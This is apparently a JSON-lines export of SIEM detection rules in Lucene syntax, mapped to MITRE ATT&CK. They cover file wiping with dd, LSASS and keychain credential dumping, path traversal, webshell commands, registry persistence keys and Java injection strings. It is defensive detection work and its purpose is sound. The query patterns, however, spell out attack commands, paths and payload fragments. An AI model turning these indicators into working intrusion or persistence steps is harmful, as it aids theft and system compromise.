{"description": "Detects overwriting (effectively wiping/deleting) of a file.", "enabled": false, "false_positives": ["Appending null bytes to files.", "Legitimate overwrite of files."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4b8deab1-a986-7563-1173-e12d7482a556", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Overwriting the File with Dev Zero or Null", "query": "(type:\"EXECVE\" AND a0:*dd* AND a1:(*if\\=\\/dev\\/null* OR *if\\=\\/dev\\/zero*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Jakob Weinzettl", "oscd.community"], "license": ""}
{"description": "Detects Pandemic Windows Implant", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3dcaedc5-15a9-5dd9-8152-934ea4e68354", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Pandemic Registry Key", "query": "process.command_line:*loaddll\\ \\-a\\ *", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Pandemic Windows Implant", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3dcaedc5-15a9-5dd9-8152-934ea4e68354", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Pandemic Registry Key", "query": "winlog.event_data.TargetObject:*\\\\SYSTEM\\\\CurrentControlSet\\\\services\\\\null\\\\Instance*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects parameters used by WMImplant", "enabled": false, "false_positives": ["Administrative scripts that use the same keywords."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "08504ce5-ee35-bc75-ba80-b3749da45b86", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMImplant Hack Tool", "query": "powershell.file.script_block_text:(*WMImplant* OR *\\ change_user\\ * OR *\\ gen_cli\\ * OR *\\ command_exec\\ * OR *\\ disable_wdigest\\ * OR *\\ disable_winrm\\ * OR *\\ enable_wdigest\\ * OR *\\ enable_winrm\\ * OR *\\ registry_mod\\ * OR *\\ remote_posh\\ * OR *\\ sched_job\\ * OR *\\ service_mod\\ * OR *\\ process_kill\\ * OR *\\ active_users\\ * OR *\\ basic_info\\ * OR *\\ power_off\\ * OR *\\ vacant_system\\ * OR *\\ logon_events\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.", "enabled": false, "false_positives": ["Antivirus products"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "47076b93-cd0a-2ccd-0ebd-9d486f23a57e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Password Dumper Remote Thread in LSASS", "query": "(winlog.event_data.TargetImage:*\\\\lsass.exe AND winlog.event_data.StartModule:\"\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects password policy discovery commands", "author": ["\u00d6mer G\u00fcnal", "oscd.community", "Pawel Mazur"], "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "46dffc9e-2734-0533-d128-b85076075230", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Password Policy Discovery", "query": "(((type:\"PATH\" AND name:(\"/etc/pam.d/common-password\" OR \"/etc/security/pwquality.conf\" OR \"/etc/pam.d/system-auth\" OR \"/etc/login.defs\"))) OR ((type:\"EXECVE\" AND a0:\"chage\" AND a1:(\"--list\" OR \"-l\"))) OR ((type:\"EXECVE\" AND a0:\"passwd\" AND a1:(\"-S\" OR \"--status\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1201"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1201", "name": "Password Policy Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects passwords dumps from Keychain", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9c4e40c4-afbc-7c56-b6b2-812da243b686", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Credentials from Password Stores - Keychain", "query": "((process.executable:\"\\/usr\\/bin\\/security\" AND process.command_line:(*find\\-certificate* OR *\\ export\\ *)) OR process.command_line:(*\\ dump\\-keychain\\ * OR *\\ login\\-keychain\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Tim Ismilyaev", "oscd.community", "Florian Roth"], "license": ""}
{"description": "Detects path traversal exploitation attempts", "author": ["Subhash Popuri (@pbssubhash)", "Florian Roth (generalisation)"], "enabled": false, "false_positives": ["Happens all the time on systems exposed to the Internet", "Internal vulnerability scanners"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "3208aa09-266f-d27a-a7b0-81640de3c032", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Path Traversal Exploitation Attempts", "query": "cs-uri-query:(*..\\/..\\/..\\/..\\/..\\/etc\\/passwd* OR *..\\/..\\/..\\/..\\/windows\\/* OR *..\\/..\\/..\\/..\\/..\\/lib\\/password*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0481afff-062b-be83-9b48-e098cfa076fa", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Serv-U Exploitation CVE-2021-35211 by DEV-0322", "query": "(process.command_line.text:*whoami* AND ((process.command_line.text:(*.\\/Client\\/Common\\/* OR *.\\\\Client\\\\Common\\\\*)) OR (process.command_line.text:*C\\:\\\\Windows\\\\Temp\\\\Serv\\-U.bat*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df21967f-a68b-b1cf-625f-75e6050af73b", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum", "query": "file.path.text:(*C\\:\\\\Windows\\\\system32\\\\physmem.sys* OR *C\\:\\\\Windows\\\\System32\\\\IME\\\\IMEJP\\\\imjpueact.dll* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMETC\\\\IMTCPROT.DLL* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\SHARED\\\\imecpmeid.dll* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\spp\\\\ServiceState\\\\Recovery\\\\pac.dat* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\cy\\-GB\\\\Setup\\\\SKB\\\\InputMethod\\\\TupTask.dat* OR *C\\:\\\\Windows\\\\system32\\\\config\\\\config\\\\startwus.dat* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\SHARED\\\\WimBootConfigurations.ini* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMEJP\\\\WimBootConfigurations.ini* OR *C\\:\\\\Windows\\\\system32\\\\ime\\\\IMETC\\\\WimBootConfigurations.ini*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1203", "T1566"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S"], "license": ""}
{"description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ecea2346-a0bd-0f5f-9742-9fa969688af3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-31979 CVE-2021-33771 Exploits", "query": "(winlog.event_data.TargetObject:(*CLSID\\\\\\{CF4CC405\\-E2C5\\-4DDD\\-B3CE\\-5E7582D8C9FA\\}\\\\InprocServer32\\\\\$Default\$ OR *CLSID\\\\\\{7C857801\\-7381\\-11CF\\-884D\\-00AA004B2E24\\}\\\\InProcServer32\\\\\$Default\$) AND (NOT (winlog.event_data.Details:(*system32\\\\wbem\\\\wmiutils.dll OR *system32\\\\wbem\\\\wbemsvc.dll))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1203", "T1566"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S", "frack113"], "license": ""}
{"description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5f517401-eda0-66f6-41bd-b6346058b788", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Chopper Webshell Process Pattern", "query": "((process.executable.text:*\\\\w3wp.exe OR process.parent.executable.text:*\\\\w3wp.exe) AND process.command_line.text:(*&ipconfig&echo* OR *&quser&echo* OR *&whoami&echo* OR *&c\\:&echo* OR *&cd&echo* OR *&dir&echo* OR *&echo\\ \\[E\\]* OR *&echo\\ \\[S\\]*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1018", "T1033", "T1087", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "MSTI (query)"], "license": ""}
{"description": "Detects PDQDeploy service installation on the target system. When a pakcage is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1", "enabled": false, "false_positives": ["Legitimate use of the tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f77e6c4c-f623-5008-589b-05f75478ccc9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New PDQDeploy Service - Client Side", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:*PDQDeployRunner\\-* OR winlog.event_data.ServiceName:PDQDeployRunner\\-*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects persistence method using windows telemetry", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3e2fb071-1b25-8f8d-dc5d-c514098cadf7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Registry Persistence Mechanism via Windows Telemetry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TelemetryController\\\\* AND winlog.event_data.TargetObject:*\\\\Command* AND winlog.event_data.Details:*.exe*) AND (NOT (winlog.event_data.Details:(*\\\\system32\\\\CompatTelRunner.exe* OR *\\\\system32\\\\DeviceCensus.exe*))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Lednyov Alexey", "oscd.community"], "license": ""}
{"description": "Detects persistence registry keys for Recycle Bin", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5cf8d1f0-b2f5-990a-5195-c8653602fdf8", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Registry Persistence Mechanisms in Recycle Bin", "query": "((winlog.event_data.EventType:\"RenameKey\" AND NewName:\"HKCR\\\\CLSID\\\\\\{645FF040\\-5081\\-101B\\-9F08\\-00AA002F954E\\}\\\\shell\\\\open\") OR (winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKCR\\\\CLSID\\\\\\{645FF040\\-5081\\-101B\\-9F08\\-00AA002F954E\\}\\\\shell\\\\open\\\\command\\\\\$Default\$\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects persistence using GlobalFlags in image file execution options", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e94a5d71-6bde-f59f-26fa-8258352a781b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "GlobalFlags Registry Persistence Mechanisms", "query": "(winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\* AND ((winlog.event_data.TargetObject:*\\\\Image\\ File\\ Execution\\ Options\\\\* AND winlog.event_data.TargetObject:*\\\\GlobalFlag*) OR (winlog.event_data.TargetObject:*SilentProcessExit\\\\* AND winlog.event_data.TargetObject:*\\\\ReportingMode*) OR (winlog.event_data.TargetObject:*SilentProcessExit\\\\* AND winlog.event_data.TargetObject:*\\\\MonitorProcess*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Karneades", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Legitimate Addin Installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "acaaeeda-ba7b-4aa1-71b7-32603ca51b52", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via Visual Studio Tools for Office", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Office\\\\Outlook\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Word\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Excel\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Powerpoint\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\VSTO\\\\Security\\\\Inclusion\\\\*)) AND (NOT ((process.executable.text:(*\\\\msiexec.exe OR *\\\\regsvr32.exe)) OR (process.executable.text:(*\\\\winword.exe OR *\\\\integrator.exe OR *\\\\OfficeClickToRun.exe)) OR ((process.executable.text:\"C:\\Program Files\\AVG\\Antivirus\\RegSvr.exe\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Office\\\\Outlook\\\\Addins\\\\Antivirus.AsOutExt\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", "enabled": false, "false_positives": ["Legitimate Addin Installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "82233f3f-6114-a25c-08e2-f3d3f1d4029c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Stealthy VSTO Persistence", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Office\\\\Outlook\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Word\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Excel\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\Office\\\\Powerpoint\\\\Addins\\\\* OR *\\\\Software\\\\Microsoft\\\\VSTO\\\\Security\\\\Inclusion\\\\*)) AND (NOT ((process.executable:(*\\\\msiexec.exe OR *\\\\regsvr32.exe)) OR (process.executable:(*\\\\winword.exe OR *\\\\integrator.exe OR *\\\\OfficeClickToRun.exe)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects persitence via netsh helper", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ecd06870-eb97-4d1c-3b28-60af25290f05", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Netsh DLL Persistence", "query": "(process.executable:*\\\\netsh.exe AND process.command_line:*add* AND process.command_line:*helper*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", "enabled": false, "false_positives": ["Legitimate piping of the password to anydesk", "Some FP could occure with similar tools that uses the same command line '--set-password'"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4f3f0101-5a55-cb1c-1d41-0a93a9ba5485", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AnyDesk Inline Piped Password", "query": "(process.command_line.text:*\\/c* AND process.command_line.text:*echo\\ * AND process.command_line.text:*\\ \\-\\-set\\-password*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects plugged USB devices", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee347857-75a6-5311-cd21-bc6bbeb06d0b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "USB Device Plugged", "query": "(winlog.provider_name:\"Microsoft\\-Windows\\-DriverFrameworks\\-UserMode\\/Operational\" AND winlog.event_id:(\"2003\" OR \"2100\" OR \"2102\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Initial Access", "T1200"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1200", "name": "Hardware Additions", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", "enabled": false, "false_positives": ["Other MSI packages for which your admins have used that name"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c0cbfbb1-d083-2d1a-c84b-eb7a99386cc4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LPE InstallerFileTakeOver PoC CVE-2021-41379", "query": "(winlog.channel:\"Application\" AND (winlog.event_id:\"1033\" AND Provider_Name:\"MsiInstaller\") AND \"test\\ pkg\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects possible bypass EDR and SIEM via abnormal user account name.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "708f7e62-f88b-b7c8-f3ab-4c42209dd5af", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New or Renamed User Account with '$' in Attribute 'SamAccountName'", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4720\" OR \"4781\") AND winlog.event_data.SamAccountName:*$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Detects possible command execution by web application/web shell", "enabled": false, "false_positives": ["Admin activity", "Crazy web applications"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "20d72f28-f5ba-860d-7007-52122287445a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Webshell Remote Command Execution", "query": "(type:\"SYSCALL\" AND syscall:\"execve\" AND key:\"detect_execve_www\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["personal experience"], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "Beyu Denis", "oscd.community"], "license": ""}
{"description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Vulnerability scanners", "Legitimate access to the URI"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "3b183720-4f1e-58d3-7b6b-cfa850f9efec", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CVE-2022-31659 VMware Workspace ONE Access RCE", "query": "(http.request.method:\"POST\" AND cs-uri-query:*\\/SAAS\\/jersey\\/manager\\/api\\/migrate\\/tenant*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects possible Java payloads in web access logs", "enabled": false, "false_positives": ["Legitimate apps"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "bfe87841-a855-b407-bae9-906df8e4004b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Java Payload Strings", "query": "(*%24%7B%28%23a%3D%40* OR *$\\{\\(#a\\=@* OR *%24%7B%40java* OR *$\\{@java* OR *u0022java* OR *%2F%24%7B%23* OR *\\/$\\{#* OR *new\\+java.*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49bdaaf0-de7b-3408-9c63-572ec637fa3c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Replay Attack Detected", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4649\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects possible payload obfuscation via the commandline", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "77ca918f-d5a4-c2ba-c621-86f2f47abe7c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Dosfuscation Character in Commandline", "query": "process.command_line.text:(*\\^\\^* OR *,;,* OR *%COMSPEC\\:\\~* OR *\\ s\\^et\\ * OR *\\ s\\^e\\^t\\ * OR *\\ se\\^t\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
